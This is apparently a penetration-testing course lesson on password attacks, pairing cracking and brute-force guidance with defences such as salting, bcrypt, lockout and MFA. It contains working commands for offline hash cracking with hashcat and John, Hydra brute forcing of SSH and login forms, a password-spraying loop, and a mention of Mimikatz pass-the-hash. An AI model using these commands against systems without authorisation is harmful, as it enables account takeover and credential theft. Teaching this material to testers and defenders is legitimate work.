Lesson 6 of 10
Password Attacks & Credential Testing
Password attacks remain one of the most effective avenues of compromise. Penetration testers test password strength and authentication controls; defenders use this knowledge to require strong credentials and detect attack attempts.
Offline Password Cracking
# Offline cracking: working against a stolen hash dump
# No network connection, no rate limiting, no lockout
# Hashcat - GPU-accelerated password cracker
# First identify hash type
hashcat --help | grep -i "sha256"
hashcat --example-hashes | grep -A 1 "bcrypt"
# Cracking MD5 (mode 0) with wordlist
hashcat -m 0 hashes.txt /usr/share/wordlists/rockyou.txt
# Cracking SHA-256 (mode 1400) with rules
hashcat -m 1400 hashes.txt rockyou.txt -r /usr/share/hashcat/rules/best64.rule
# Cracking bcrypt (mode 3200) - much slower by design
hashcat -m 3200 bcrypt_hashes.txt rockyou.txt
# Hash identification
hashid 5f4dcc3b5aa765d61d8327deb882cf99
# [+] MD2
# [+] MD5
# [+] MD4
# John the Ripper - alternative cracker
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
john --format=bcrypt --wordlist=rockyou.txt bcrypt_hashes.txt
john --show hashes.txt # Show already-cracked passwordsOnline Attacks & Credential Stuffing
# Online attacks: attempting authentication against live services
# Must respect rate limiting and lockout policies in scope agreement
# Hydra - network brute force tool
# SSH brute force (password list from breached credentials)
hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.100
# HTTP POST form brute force
hydra -l admin -P passwords.txt 192.168.1.100 http-post-form \
'/login:username=^USER^&password=^PASS^:F=Invalid credentials'
# Password spraying (avoid lockout by limiting attempts per user)
# Spray common passwords across many accounts
for user in $(cat users.txt); do
hydra -l "$user" -P top10_passwords.txt \
smtp://mail.target.com -t 1 -W 30 # 1 thread, 30 sec wait
done
# Credential stuffing - use breach databases
# HaveIBeenPwned API: check if email appeared in known breach
# Tool: credcheck, spray.py
# Defending against online attacks:
# 1. Rate limiting: max 5 failed attempts per 15 minutes per IP
# 2. Account lockout: lock after 10 failures (send unlock email)
# 3. CAPTCHA after 3 failures
# 4. MFA (credential stuffing fails even with correct password)
# 5. Breached password detection (HaveIBeenPwned API)Rainbow Tables & Countermeasures
- Rainbow tables: Pre-computed hash → plaintext lookup tables. MD5 rainbow tables for all 8-character alphanumeric passwords: ~900GB. Reverse any unsalted MD5 instantly
- Salting defeats rainbow tables: Each password gets a unique random salt appended before hashing. Attacker needs a separate rainbow table for every possible salt - computationally infeasible
- GPU cracking rates (RTX 4090): MD5: 164 billion/s, SHA-256: 22 billion/s, bcrypt(12): 100,000/s, Argon2: 2,000/s - clearly bcrypt/Argon2 are the only acceptable choices for passwords
- Pass-the-Hash (PtH): In Windows NTLM authentication, the hash itself IS the credential - you don't need to crack it. Mimikatz extracts NTLM hashes from LSASS memory; these are used directly to authenticate as the user
Common Mistakes
- Cracking passwords during a limited-time engagement when exploitation would be faster - crack only what you need to demonstrate impact
- Not checking for default vendor credentials before attempting brute force - admin/admin, admin/password are worth trying before running a 12-hour wordlist
- Ignoring password spraying - two or three password attempts per account across thousands of accounts don't trigger lockout but can be highly effective
Tip
Tip
Practice Password Attacks Credential Testing in small, isolated examples before integrating into larger projects. Breaking concepts into small experiments builds genuine understanding faster than reading alone.
The foundational security model: Confidentiality (privacy), Integrity (trust), and Availability (uptime).
Practice Task
Note
Practice Task - (1) Write a working example of Password Attacks Credential Testing from scratch without looking at notes. (2) Modify it to handle an edge case (empty input, null value, or error state). (3) Share your solution in the Priygop community for feedback.
Quick Quiz
Common Mistake
Warning
A common mistake with Password Attacks Credential Testing is skipping edge case testing - empty inputs, null values, and unexpected data types. Always validate boundary conditions to write robust, production-ready cybersecurity code.
Key Takeaways
- Password attacks remain one of the most effective avenues of compromise.
- Rainbow tables: Pre-computed hash → plaintext lookup tables. MD5 rainbow tables for all 8-character alphanumeric passwords: ~900GB. Reverse any unsalted MD5 instantly
- Salting defeats rainbow tables: Each password gets a unique random salt appended before hashing. Attacker needs a separate rainbow table for every possible salt - computationally infeasible
- GPU cracking rates (RTX 4090): MD5: 164 billion/s, SHA-256: 22 billion/s, bcrypt(12): 100,000/s, Argon2: 2,000/s - clearly bcrypt/Argon2 are the only acceptable choices for passwords
Finished this lesson?